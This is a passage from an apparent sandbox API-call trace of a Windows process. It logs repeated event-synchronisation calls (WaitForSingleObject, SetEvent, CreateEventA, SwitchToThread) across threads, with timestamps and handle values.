	[0112.859] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0112.859] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0113.128] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0113.422] SetEvent (hEvent=0xb4) returned 1
	[0113.422] SetEvent (hEvent=0x6c) returned 1
	[0113.422] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0113.422] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0113.692] SetEvent (hEvent=0xb4) returned 1
	[0113.692] SetEvent (hEvent=0x80) returned 1
	[0113.692] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0113.692] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0113.995] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0114.423] SetEvent (hEvent=0xb4) returned 1
	[0114.423] SetEvent (hEvent=0x80) returned 1
	[0114.423] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0114.424] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0114.760] SetEvent (hEvent=0xb4) returned 1
	[0114.760] SetEvent (hEvent=0x6c) returned 1
	[0114.760] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0114.764] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0115.113] SetEvent (hEvent=0xb4) returned 1
	[0115.113] SetEvent (hEvent=0x80) returned 1
	[0115.113] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0115.114] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0115.468] SetEvent (hEvent=0xb4) returned 1
	[0115.468] SetEvent (hEvent=0x6c) returned 1
	[0115.468] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0115.469] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0115.730] SetEvent (hEvent=0xb4) returned 1
	[0115.730] SetEvent (hEvent=0x80) returned 1
	[0115.730] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0115.731] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0115.990] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0116.317] SetEvent (hEvent=0xb4) returned 1
	[0116.317] SetEvent (hEvent=0x80) returned 1
	[0116.317] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0116.317] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0116.824] SetEvent (hEvent=0xb4) returned 1
	[0116.824] SetEvent (hEvent=0x6c) returned 1
	[0116.824] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0116.824] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0117.007] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0117.279] SetEvent (hEvent=0xb4) returned 1
	[0117.279] SetEvent (hEvent=0x6c) returned 1
	[0117.279] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0117.283] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0117.477] SetEvent (hEvent=0xb4) returned 1
	[0117.477] SetEvent (hEvent=0x80) returned 1
	[0117.477] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0117.490] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0117.647] SetEvent (hEvent=0xb4) returned 1
	[0117.647] SetEvent (hEvent=0x6c) returned 1
	[0117.648] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0117.648] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0117.893] SetEvent (hEvent=0xb4) returned 1
	[0117.893] SetEvent (hEvent=0x80) returned 1
	[0117.893] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0117.894] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0118.152] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0118.370] SetEvent (hEvent=0xb4) returned 1
	[0118.370] SetEvent (hEvent=0x80) returned 1
	[0118.370] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0118.370] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0118.659] SetEvent (hEvent=0xb4) returned 1
	[0118.659] SetEvent (hEvent=0x6c) returned 1
	[0118.659] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0118.660] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0118.936] SetEvent (hEvent=0xb4) returned 1
	[0118.936] SetEvent (hEvent=0x80) returned 1
	[0118.936] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0118.937] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) 

Thread:
	id = 334
	os_tid = 0x7d4

	[0050.494] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x32e5ff60, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x32e5ff60*=0xb0) returned 1
	[0050.494] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xb4
	[0050.494] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0051.480] SetEvent (hEvent=0x6c) returned 1
	[0051.480] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0051.480] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0052.494] SetEvent (hEvent=0x8c) returned 1
	[0052.494] SetEvent (hEvent=0x80) returned 1
	[0052.494] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0052.495] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0053.513] SetEvent (hEvent=0x6c) returned 1
	[0053.513] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0053.514] SetEvent (hEvent=0x78) returned 1
	[0053.515] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0054.434] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0054.439] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0055.331] SetEvent (hEvent=0x6c) returned 1
	[0055.332] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0055.332] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0055.890] SetEvent (hEvent=0x6c) returned 1
	[0055.890] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0055.965] SetEvent (hEvent=0x78) returned 1
	[0055.965] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0066.017] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0066.073] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0066.133] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0066.294] SetEvent (hEvent=0x6c) returned 1
	[0066.294] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0066.294] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0066.524] SetEvent (hEvent=0x6c) returned 1
	[0066.524] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0066.524] SetEvent (hEvent=0x8c) returned 1
	[0066.525] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0066.682] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0066.684] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.047] SetEvent (hEvent=0x6c) returned 1
	[0067.047] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.047] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.230] SetEvent (hEvent=0x78) returned 1
	[0067.230] SetEvent (hEvent=0x8c) returned 1
	[0067.230] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.231] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.238] SetEvent (hEvent=0x6c) returned 1
	[0067.238] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.256] SetEvent (hEvent=0x6c) returned 1
	[0067.256] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.258] SetEvent (hEvent=0x6c) returned 1
	[0067.258] SwitchToThread () returned 1
	[0067.259] SetEvent (hEvent=0x6c) returned 1
	[0067.259] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.259] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.361] SetEvent (hEvent=0x80) returned 1
	[0067.361] SetEvent (hEvent=0x78) returned 1
	[0067.361] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.362] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.369] SetEvent (hEvent=0x6c) returned 1
	[0067.369] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.386] SetEvent (hEvent=0x6c) returned 1
	[0067.386] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.388] SetEvent (hEvent=0x6c) returned 1
	[0067.388] SwitchToThread () returned 1
	[0067.389] SetEvent (hEvent=0x6c) returned 1
	[0067.389] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.389] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.444] SetEvent (hEvent=0x8c) returned 1
	[0067.444] SetEvent (hEvent=0x80) returned 1
	[0067.444] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.445] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.454] SetEvent (hEvent=0x6c) returned 1
	[0067.454] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.470] SetEvent (hEvent=0x6c) returned 1
	[0067.470] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.472] SetEvent (hEvent=0x6c) returned 1
	[0067.472] SwitchToThread () returned 1
	[0067.472] SetEvent (hEvent=0x6c) returned 1
	[0067.472] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.472] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.526] SetEvent (hEvent=0x78) returned 1
	[0067.526] SetEvent (hEvent=0x8c) returned 1
	[0067.526] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.527] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.534] SetEvent (hEvent=0x6c) returned 1
	[0067.534] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.551] SetEvent (hEvent=0x6c) returned 1
	[0067.551] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.553] SetEvent (hEvent=0x6c) returned 1
	[0067.553] SwitchToThread () returned 1
	[0067.554] SetEvent (hEvent=0x6c) returned 1
	[0067.554] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.554] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.595] SetEvent (hEvent=0x80) returned 1
	[0067.595] SetEvent (hEvent=0x78) returned 1
	[0067.595] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.596] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.603] SetEvent (hEvent=0x6c) returned 1
	[0067.604] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.620] SetEvent (hEvent=0x6c) returned 1
	[0067.620] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.622] SetEvent (hEvent=0x6c) returned 1
	[0067.622] SwitchToThread () returned 1
	[0067.622] SetEvent (hEvent=0x6c) returned 1
	[0067.622] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.623] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.666] SetEvent (hEvent=0x8c) returned 1
	[0067.666] SetEvent (hEvent=0x80) returned 1
	[0067.666] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.667] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.674] SetEvent (hEvent=0x6c) returned 1
	[0067.674] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.690] SetEvent (hEvent=0x6c) returned 1
	[0067.690] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.692] SetEvent (hEvent=0x6c) returned 1
	[0067.692] SwitchToThread () returned 1
	[0067.693] SetEvent (hEvent=0x6c) returned 1
	[0067.693] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.693] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.763] SetEvent (hEvent=0x78) returned 1
	[0067.763] SetEvent (hEvent=0x8c) returned 1
	[0067.763] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.764] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.797] SetEvent (hEvent=0x6c) returned 1
	[0067.797] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.798] SetEvent (hEvent=0x6c) returned 1
	[0067.798] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.799] SetEvent (hEvent=0x6c) returned 1
	[0067.799] SwitchToThread () returned 1
	[0067.799] SetEvent (hEvent=0x6c) returned 1
	[0067.799] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.799] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.851] SetEvent (hEvent=0x6c) returned 1
	[0067.851] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.853] SetEvent (hEvent=0x78) returned 1
	[0067.853] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.877] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.880] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.925] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.934] SetEvent (hEvent=0x6c) returned 1
	[0067.934] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.935] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.961] SetEvent (hEvent=0x6c) returned 1
	[0067.961] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.962] SetEvent (hEvent=0x6c) returned 1
	[0067.963] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.963] SetEvent (hEvent=0x6c) returned 1
	[0067.963] SwitchToThread () returned 1
	[0067.963] SetEvent (hEvent=0x6c) returned 1
	[0067.963] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.963] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.008] SetEvent (hEvent=0x6c) returned 1
	[0068.008] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.010] SetEvent (hEvent=0x78) returned 1
	[0068.010] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.034] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.037] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.072] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.084] SetEvent (hEvent=0x6c) returned 1
	[0068.084] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.084] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.137] SetEvent (hEvent=0x6c) returned 1
	[0068.137] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.173] SetEvent (hEvent=0x6c) returned 1
	[0068.173] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.176] SetEvent (hEvent=0x6c) returned 1
	[0068.176] SwitchToThread () returned 1
	[0068.190] SetEvent (hEvent=0x6c) returned 1
	[0068.190] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.191] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.272] SetEvent (hEvent=0x6c) returned 1
	[0068.272] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.285] SetEvent (hEvent=0x78) returned 1
	[0068.286] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.337] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.389] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.426] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.442] SetEvent (hEvent=0x6c) returned 1
	[0068.442] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.443] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.468] SetEvent (hEvent=0x6c) returned 1
	[0068.468] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.470] SetEvent (hEvent=0x6c) returned 1
	[0068.470] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.470] SetEvent (hEvent=0x6c) returned 1
	[0068.470] SwitchToThread () returned 1
	[0068.471] SetEvent (hEvent=0x6c) returned 1
	[0068.471] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.471] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.513] SetEvent (hEvent=0x6c) returned 1
	[0068.513] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.515] SetEvent (hEvent=0x78) returned 1
	[0068.515] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.538] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.541] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.579] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.586] SetEvent (hEvent=0x6c) returned 1
	[0068.586] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.586] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.613] SetEvent (hEvent=0x6c) returned 1
	[0068.613] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.614] SetEvent (hEvent=0x6c) returned 1
	[0068.614] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.615] SetEvent (hEvent=0x6c) returned 1
	[0068.615] SwitchToThread () returned 1
	[0068.615] SetEvent (hEvent=0x6c) returned 1
	[0068.615] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.615] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.663] SetEvent (hEvent=0x6c) returned 1
	[0068.663] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.665] SetEvent (hEvent=0x78) returned 1
	[0068.665] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.689] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.692] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.774] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.784] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.923] SetEvent (hEvent=0x6c) returned 1
	[0068.923] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.924] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.984] SetEvent (hEvent=0x6c) returned 1
	[0068.984] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.987] SetEvent (hEvent=0x6c) returned 1
	[0068.987] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.987] SetEvent (hEvent=0x6c) returned 1
	[0068.987] SwitchToThread () returned 1
	[0068.988] SetEvent (hEvent=0x6c) returned 1
	[0068.988] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0068.988] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.042] SetEvent (hEvent=0x6c) returned 1
	[0069.042] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.043] SetEvent (hEvent=0x78) returned 1
	[0069.043] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.066] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.069] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.106] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.116] SetEvent (hEvent=0x6c) returned 1
	[0069.116] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.116] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.142] SetEvent (hEvent=0x6c) returned 1
	[0069.142] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.144] SetEvent (hEvent=0x6c) returned 1
	[0069.144] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.144] SetEvent (hEvent=0x6c) returned 1
	[0069.144] SwitchToThread () returned 1
	[0069.145] SetEvent (hEvent=0x6c) returned 1
	[0069.145] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.145] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.201] SetEvent (hEvent=0x6c) returned 1
	[0069.201] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.206] SetEvent (hEvent=0x78) returned 1
	[0069.206] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.229] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.232] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.269] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.276] SetEvent (hEvent=0x6c) returned 1
	[0069.276] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.276] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.302] SetEvent (hEvent=0x6c) returned 1
	[0069.302] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.304] SetEvent (hEvent=0x6c) returned 1
	[0069.304] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.305] SetEvent (hEvent=0x6c) returned 1
	[0069.305] SwitchToThread () returned 1
	[0069.305] SetEvent (hEvent=0x6c) returned 1
	[0069.305] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.305] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.675] SetEvent (hEvent=0x6c) returned 1
	[0069.675] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.691] SetEvent (hEvent=0x78) returned 1
	[0069.691] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.836] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.854] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.893] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.900] SetEvent (hEvent=0x6c) returned 1
	[0069.900] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.900] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.926] SetEvent (hEvent=0x6c) returned 1
	[0069.926] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.928] SetEvent (hEvent=0x6c) returned 1
	[0069.928] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.928] SetEvent (hEvent=0x6c) returned 1
	[0069.928] SwitchToThread () returned 1
	[0069.928] SetEvent (hEvent=0x6c) returned 1
	[0069.928] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.929] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.973] SetEvent (hEvent=0x6c) returned 1
	[0069.973] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.974] SetEvent (hEvent=0x78) returned 1
	[0069.974] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.998] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.001] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.036] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.045] SetEvent (hEvent=0x6c) returned 1
	[0070.045] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.046] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.071] SetEvent (hEvent=0x6c) returned 1
	[0070.071] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.073] SetEvent (hEvent=0x6c) returned 1
	[0070.073] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.074] SetEvent (hEvent=0x6c) returned 1
	[0070.074] SwitchToThread () returned 1
	[0070.074] SetEvent (hEvent=0x6c) returned 1
	[0070.074] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.074] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.127] SetEvent (hEvent=0x6c) returned 1
